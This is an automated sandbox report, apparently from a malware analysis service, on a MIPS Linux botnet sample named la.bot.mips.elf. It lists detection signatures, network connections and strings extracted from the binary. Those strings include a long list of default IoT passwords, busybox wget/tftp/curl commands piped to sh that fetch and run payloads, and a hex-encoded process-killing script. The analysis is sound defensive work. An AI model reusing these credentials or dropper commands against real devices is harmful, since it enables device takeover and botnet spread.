Linux Analysis Report
la.bot.mips.elf

Overview

General Information

Sample name: la.bot.mips.elf
Analysis ID: 1541947
MD5: f2b9f83ab036f29f1bc07bb5d690e59c
SHA1: 45f1997dff9751d4c6e2ee13d97c739fe6d792ed
SHA256: 46e60186b1b00c7976ac5576b09f75926071bb74fe683df1fb58dc1db85165f4
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 76
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Deletes system log files
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Sends malformed DNS queries
Uses known network protocols on non-standard ports
Creates hidden files and/or directories
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection

barindex
Source: la.bot.mips.elf Avira: detected
Source: la.bot.mips.elf ReversingLabs: Detection: 36%
Source: la.bot.mips.elf String: ash|login|wget|curl|tftp|ntpdate|ftp|mount
Source: la.bot.mips.elf String: /proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp|mount/mountinfo/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/
Source: la.bot.mips.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking

barindex
Source: global traffic TCP traffic: 103.253.147.242 ports 46852,2,4,5,6,8
Source: global traffic DNS traffic detected: malformed DNS query: imaverygoodbadboy.libre. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: 75cents.libre. [malformed]
Source: unknown Network traffic detected: HTTP traffic on port 23 -> 60222
Source: global traffic TCP traffic: 192.168.2.23:45806 -> 103.253.147.242:46852
Source: /tmp/la.bot.mips.elf (PID: 6231) Socket: 127.0.0.1:1234 Jump to behavior
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 83.122.196.80
Source: unknown TCP traffic detected without corresponding DNS query: 83.122.196.80
Source: unknown TCP traffic detected without corresponding DNS query: 170.126.120.92
Source: unknown TCP traffic detected without corresponding DNS query: 170.126.120.92
Source: unknown TCP traffic detected without corresponding DNS query: 87.172.208.24
Source: unknown TCP traffic detected without corresponding DNS query: 87.172.208.24
Source: unknown TCP traffic detected without corresponding DNS query: 103.122.138.0
Source: unknown TCP traffic detected without corresponding DNS query: 103.122.138.0
Source: unknown TCP traffic detected without corresponding DNS query: 129.46.99.237
Source: unknown TCP traffic detected without corresponding DNS query: 129.46.99.237
Source: unknown TCP traffic detected without corresponding DNS query: 98.189.142.133
Source: unknown TCP traffic detected without corresponding DNS query: 98.189.142.133
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.145.45
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.145.45
Source: unknown TCP traffic detected without corresponding DNS query: 46.95.205.42
Source: unknown TCP traffic detected without corresponding DNS query: 46.95.205.42
Source: unknown TCP traffic detected without corresponding DNS query: 15.163.44.143
Source: unknown TCP traffic detected without corresponding DNS query: 15.163.44.143
Source: unknown TCP traffic detected without corresponding DNS query: 146.38.197.236
Source: unknown TCP traffic detected without corresponding DNS query: 146.38.197.236
Source: unknown TCP traffic detected without corresponding DNS query: 188.7.214.248
Source: unknown TCP traffic detected without corresponding DNS query: 188.7.214.248
Source: unknown TCP traffic detected without corresponding DNS query: 48.89.161.5
Source: unknown TCP traffic detected without corresponding DNS query: 186.244.130.161
Source: unknown TCP traffic detected without corresponding DNS query: 48.89.161.5
Source: unknown TCP traffic detected without corresponding DNS query: 98.213.230.161
Source: unknown TCP traffic detected without corresponding DNS query: 186.244.130.161
Source: unknown TCP traffic detected without corresponding DNS query: 34.103.168.44
Source: unknown TCP traffic detected without corresponding DNS query: 98.213.230.161
Source: unknown TCP traffic detected without corresponding DNS query: 141.125.55.112
Source: unknown TCP traffic detected without corresponding DNS query: 34.103.168.44
Source: unknown TCP traffic detected without corresponding DNS query: 160.197.220.107
Source: unknown TCP traffic detected without corresponding DNS query: 141.125.55.112
Source: unknown TCP traffic detected without corresponding DNS query: 70.88.107.226
Source: unknown TCP traffic detected without corresponding DNS query: 160.197.220.107
Source: unknown TCP traffic detected without corresponding DNS query: 60.244.114.156
Source: unknown TCP traffic detected without corresponding DNS query: 1.209.199.254
Source: unknown TCP traffic detected without corresponding DNS query: 140.207.113.243
Source: unknown TCP traffic detected without corresponding DNS query: 194.96.235.228
Source: unknown TCP traffic detected without corresponding DNS query: 182.67.33.85
Source: unknown TCP traffic detected without corresponding DNS query: 102.242.178.229
Source: unknown TCP traffic detected without corresponding DNS query: 128.157.181.233
Source: unknown TCP traffic detected without corresponding DNS query: 147.244.139.186
Source: unknown TCP traffic detected without corresponding DNS query: 104.35.241.144
Source: unknown TCP traffic detected without corresponding DNS query: 44.21.32.39
Source: unknown TCP traffic detected without corresponding DNS query: 16.154.96.119
Source: unknown TCP traffic detected without corresponding DNS query: 42.29.187.202
Source: unknown TCP traffic detected without corresponding DNS query: 119.153.36.62
Source: unknown TCP traffic detected without corresponding DNS query: 138.136.157.210
Source: global traffic DNS traffic detected: DNS query: imaverygoodbadboy.libre. [malformed]
Source: global traffic DNS traffic detected: DNS query: 75cents.libre. [malformed]
Source: la.bot.mips.elf String found in binary or memory: http:///curl.sh
Source: la.bot.mips.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: (usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Source: ELF static info symbol of initial sample .symtab present: no
Source: /tmp/la.bot.mips.elf (PID: 6233) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: classification engine Classification label: mal76.troj.evad.linELF@0/0@3/0

Data Obfuscation

barindex
Source: /tmp/la.bot.mips.elf (PID: 6234) File: /etc/config Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6234) Directory: /root/.cache Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6234) Directory: /root/.ssh Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6234) Directory: /root/.config Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6234) Directory: /root/.local Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6234) Directory: /tmp/.X11-unix Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6234) Directory: /tmp/.Test-unix Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6234) Directory: /tmp/.font-unix Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6234) Directory: /tmp/.ICE-unix Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6234) Directory: /tmp/.XIM-unix Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6234) Directory: /etc/.java Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6233) File opened: /proc/491/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6233) File opened: /proc/793/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6233) File opened: /proc/772/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6233) File opened: /proc/796/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6233) File opened: /proc/774/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6233) File opened: /proc/797/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6233) File opened: /proc/777/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6233) File opened: /proc/799/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6233) File opened: /proc/658/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6233) File opened: /proc/912/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6233) File opened: /proc/759/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6233) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6233) File opened: /proc/918/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6233) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6233) File opened: /proc/761/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6233) File opened: /proc/785/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6233) File opened: /proc/884/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6233) File opened: /proc/720/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6233) File opened: /proc/721/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6233) File opened: /proc/788/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6233) File opened: /proc/789/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6233) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6233) File opened: /proc/801/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6233) File opened: /proc/847/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6233) File opened: /proc/904/fd Jump to behavior

Hooking and other Techniques for Hiding and Protection

barindex
Source: /tmp/la.bot.mips.elf (PID: 6234) Log files deleted: /var/log/kern.log Jump to behavior
Source: unknown Network traffic detected: HTTP traffic on port 23 -> 60222
Source: /tmp/la.bot.mips.elf (PID: 6231) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.mips.elf, 6231.1.000055c8fb513000.000055c8fb5ba000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/mips
Source: la.bot.mips.elf, 6231.1.000055c8fb513000.000055c8fb5ba000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mips
Source: la.bot.mips.elf, 6231.1.00007ffd311cd000.00007ffd311ee000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-mips/tmp/la.bot.mips.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.mips.elf
Source: la.bot.mips.elf, 6231.1.00007ffd311cd000.00007ffd311ee000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mips
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs